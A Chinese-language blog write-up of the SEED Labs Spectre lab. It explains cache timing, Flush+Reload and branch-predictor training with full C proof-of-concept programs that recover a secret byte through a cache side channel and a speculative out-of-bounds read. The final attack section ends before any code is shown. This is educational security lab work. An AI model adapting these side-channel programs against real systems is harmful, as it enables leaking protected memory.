SEEDLAB_SPECTRE


Spectre攻击实验

spectre攻击是涉及到处理器底层设计缺陷漏洞的一种攻击手段,本文尝试依据Seedlab实验手册对其进行复现。同时会从原理出发,更加深刻地学习相关攻击知识

任务一:通过Cache进行侧信道攻击

Cache是CPU中用于命令加速的硬件机制,也是侧信道攻击的跳板之一,我们尝试通过Cache进行Flush+Reload攻击,该技术也是我们后续Spectre的基础。

如图所示,这就是CPU缓存的机制,如果在Cache中命中数据,便会出现访存的时间差,我们便可以通过这点小小的时间差异,来进行秘密字符的推断

缓存机制

首先,我们来验证上述所说的时间差异的真实性,按照上图所示,我们的代码设计中将提前访问array[3*4096]与array[7*4096],作为cache hit的缓存行,具体代码如下

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <time.h>

uint8_t array[10*4096];

int main() {
    int junk = 0;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int i, idx;
  
    // 存储每个索引的测量结果
    int cycles[10];
  
    // 1. 初始化数组
    for(i = 0; i < 10; i++)
        array[i*4096] = 1;
  
    // 2. 清空所有缓存行
    for(i = 0; i < 10; i++)
        _mm_clflush(&array[i*4096]);
  
    // 3. 写入两个特定的行(这两个行会重新被加载到缓存)
    array[3*4096] = 100;
    array[7*4096] = 200;
  
    // 4. 生成随机访问顺序 (0~9 的随机排列)
    int order[10] = {0,1,2,3,4,5,6,7,8,9};
    srand(time(NULL));
    for(i = 9; i > 0; i--) {
        int j = rand() % (i+1);
        int tmp = order[i];
        order[i] = order[j];
        order[j] = tmp;
    }
  
    // 5. 按照随机顺序测量,但将结果存入 cycles[] 数组
    for(i = 0; i < 10; i++) {
        idx = order[i];
        addr = &array[idx*4096];
        time1 = __rdtscp(&junk);
        junk = *addr;
        time2 = __rdtscp(&junk) - time1;
        cycles[idx] = (int)time2;   // 按实际索引保存
    }
  
    // 6. 按顺序输出结果 (0~9)
    for(i = 0; i < 10; i++) {
        printf("Access time for array[%d*4096]: %d CPU cycles\n", i, cycles[i]);
    }
  
    return 0;
}

可以看到,我们的代码在测量读取时间部分使用了随机化的方式,这里是由于现代处理器通常会有预取机制,导致对应内存行附近的数据也被写入缓存中。此处为了绕过,故采取了随机读取方法,具体结果如下:可以看到,多次测量,3、7部分用时均是最小

既然我们发现了明显的稳定信号量,那我们是否可以尝试使用该信号量建立侧信道进行秘密窃取呢?答案是肯定的,本节我们将使用Flush+Reload技术进行攻击,其流程如下:

  1. FLUSH:将整个数组从缓存中清除,以确保数组没有被缓存。
  2. 调用受害者函数,该函数根据秘密值访问数组中的一个元素。这将导致对应数组元素被缓存。
  3. RELOAD:重新加载整个数组并测量重新加载每个元素所需的时间。如果某个特定元素的加载时间比较快,则很可能这个元素已经存在于缓存中。这个元素必定是受害者函数所访问的那个元素,因此我们就可以确定秘密值是什么。

由于一个字节有2^8=256种可能性,我们可以定义一个array[256*4096]大小的数组,其中256是字节推测,4096大于常见的缓存块大小,用于保证array[i*4096]与array[j*4096]不会被同时加载到缓存中去,因此设计代码如下

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <time.h>   // 用于随机数种子

uint8_t array[256*4096];
int temp;
unsigned char secret = 94;
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

void victim()
{
    temp = array[secret*4096 + DELTA];
}

void flushSideChannel()
{
    int i;
    for (i = 0; i < 256; i++)
        array[i*4096 + DELTA] = 1;
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i*4096 + DELTA]);
}

void reloadSideChannel()
{
    int junk = 0;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int i, idx;
    int times[256];               // 存储每个索引的访问时间

    // 生成随机访问顺序
    int order[256];
    for (i = 0; i < 256; i++)
        order[i] = i;
    srand(time(NULL));
    for (i = 255; i > 0; i--) {
        int j = rand() % (i + 1);
        int tmp = order[i];
        order[i] = order[j];
        order[j] = tmp;
    }

    // 按随机顺序测量,结果存入 times[]
    for (i = 0; i < 256; i++) {
        idx = order[i];
        addr = &array[idx*4096 + DELTA];

        time1 = __rdtscp(&junk);
        junk = *addr;               // 触发内存访问
        time2 = __rdtscp(&junk) - time1;

        times[idx] = (int)time2;

        // 测量后立即清除该缓存行,避免影响后续测量
        _mm_clflush(addr);
    }

    // 最后按顺序输出命中结果(只输出第一个命中,或所有命中的)
    for (i = 0; i < 256; i++) {
        if (times[i] <= CACHE_HIT_THRESHOLD) {
            printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
            printf("The Secret = %d.\n", i);
            // 如果只需要输出第一个命中,可以 break;
            // break;
        }
    }
}

int main()
{
    flushSideChannel();
    victim();           // 将 secret 对应的行加载到缓存
    reloadSideChannel();
    return 0;
}

此处同理采取随机测量的方式绕过预取,但是注意,不一定每一次都能得到正确的结果,我们应该多尝试几次,本机验证结果如下,多次运行中得到secret的概率还是比较大的

FlushReload结果

任务二:乱序执行与分支预测

Spectre攻击主要依赖于如标题所说的CPU特性,我们可以观察以下代码:

data = 0; 
if (x < size) {
	data = data + 5;
}

正常逻辑下若X<size,则第三行的代码是绝对不会执行的。但我们深入到CPU的底层实现中便可以发现,为了加速指令运行,CPU会将原本顺序的指令打乱,按照最快的方式进行执行,计算结果。

比如,若X<size这一判断条件存在分支预测的惯性运行,CPU将会提前执行data+=5这一操作,即使后续可能因为条件未通过而回退控制流,但计算出来的结果已经被加载进了Cache中,存在微架构状态残留。这种残留正是我们进行攻击的关键。

此处我们编写一段代码来观察乱序执行所造成的影响,注意由于设备问题,我们可以适量的将CACHE_HIT_THRESHOLD条件放宽,避免出现无法得到结果的情况

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <time.h>      // 用于随机数种子

#define CACHE_HIT_THRESHOLD (180)
#define DELTA 1024

int size = 10;
uint8_t array[256*4096];
uint8_t temp = 0;

void flushSideChannel()
{
    int i;
    // 写入数组,触发写时复制,确保物理内存已分配
    for (i = 0; i < 256; i++)
        array[i*4096 + DELTA] = 1;
    // 清空所有探测数组的缓存行
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i*4096 + DELTA]);
}

void reloadSideChannel()
{
    int junk = 0;
    register uint64_t time1, time2;
    volatile uint8_t *addr;
    int i, idx;
    int times[256];               // 存储每个索引的测量时间

    // 生成随机访问顺序 0~255 的随机排列
    int order[256];
    for (i = 0; i < 256; i++)
        order[i] = i;
    srand(time(NULL));
    for (i = 255; i > 0; i--) {
        int j = rand() % (i + 1);
        int tmp = order[i];
        order[i] = order[j];
        order[j] = tmp;
    }

    // 按随机顺序测量,结果存入 times[]
    for (i = 0; i < 256; i++) {
        idx = order[i];
        addr = &array[idx*4096 + DELTA];

        time1 = __rdtscp(&junk);
        junk = *addr;               // 触发内存访问
        time2 = __rdtscp(&junk) - time1;

        times[idx] = (int)time2;

        // 关键:测量后立即清除该缓存行,避免残留影响后续测量
        _mm_clflush(addr);
    }

    // 最后按索引顺序输出所有命中结果
    for (i = 0; i < 256; i++) {
        if (times[i] <= CACHE_HIT_THRESHOLD) {
            printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
            printf("The Secret = %d.\n", i);
            // 对于 Spectre 攻击,通常只会有一个命中,即越界读取的秘密索引
            // 如果希望只输出第一个命中,可以加 break;
            // break;
        }
    }
}

void victim(size_t x)
{
    if (x < size) {
        temp = array[x * 4096 + DELTA];
    }
}

int main()
{
    int i;

    // 1. 清理并准备探测数组
    flushSideChannel();

    // 2. 训练分支预测器:连续调用 victim(0..9),每次都满足 x < size
    //    CPU 会学习到“真分支”总是被执行
    for (i = 0; i < 10; i++) {
        victim(i);
    }

    // 3. 清空 size 变量的缓存行,同时清空探测数组
    //    这样 victim(97) 在读取 size 时会发生缓存未命中,需要从内存读取,
    //    但 CPU 的乱序执行会基于训练好的分支预测继续执行推测性的真分支
    _mm_clflush(&size);
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i*4096 + DELTA]);

    // 4. 发起攻击:访问越界的索引 97(>= size)
    //    推测执行会尝试读取 array[97*4096+DELTA] 并将其加载到缓存
    victim(97);

    // 5. 测量缓存状态,找出被加载到缓存的索引(应该是 97)
    reloadSideChannel();

    return 0;
}

_mm_clflush(&size); 注意这一步操作,由于我们将其逐出缓存行,因此在 if(x<xize)的条件判断中,size值必须要到主存中去,时钟周期过长,处理器将采取分支预测的方式先行执行赋值语句,从而才能留下微架构状态残留

结果如下,可以看到,在多次运行中,成功获取了secret

任务三:Spectre攻击

我们可以利用上述残留作为信号量来源,并利用上文提到的Flush+Reload侧信道技术,尝试进行真正的Spectre攻击——利用推测执行的微架构残留进行侧信道的构建

实验配置图

上图是我们程序的配置图,采用沙箱函数的方式,限制了用户的读取范围,Secret区域严禁用户访问,示例代码如下

uint8_t restrictedAccess(size_t x)
{
  if (x <= bound_upper && x >= bound_lower) {
     return buffer[x];
  } else {
     return 0;
  } 
}

尽管我们的secret区域无法被直接访问,但是通过分支预测的方式,总会在缓存中留下微架构状态残留,我们将通过这些来进行攻击

设计攻击代码如下


文章作者: Yssx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Yssx !
评论
  目录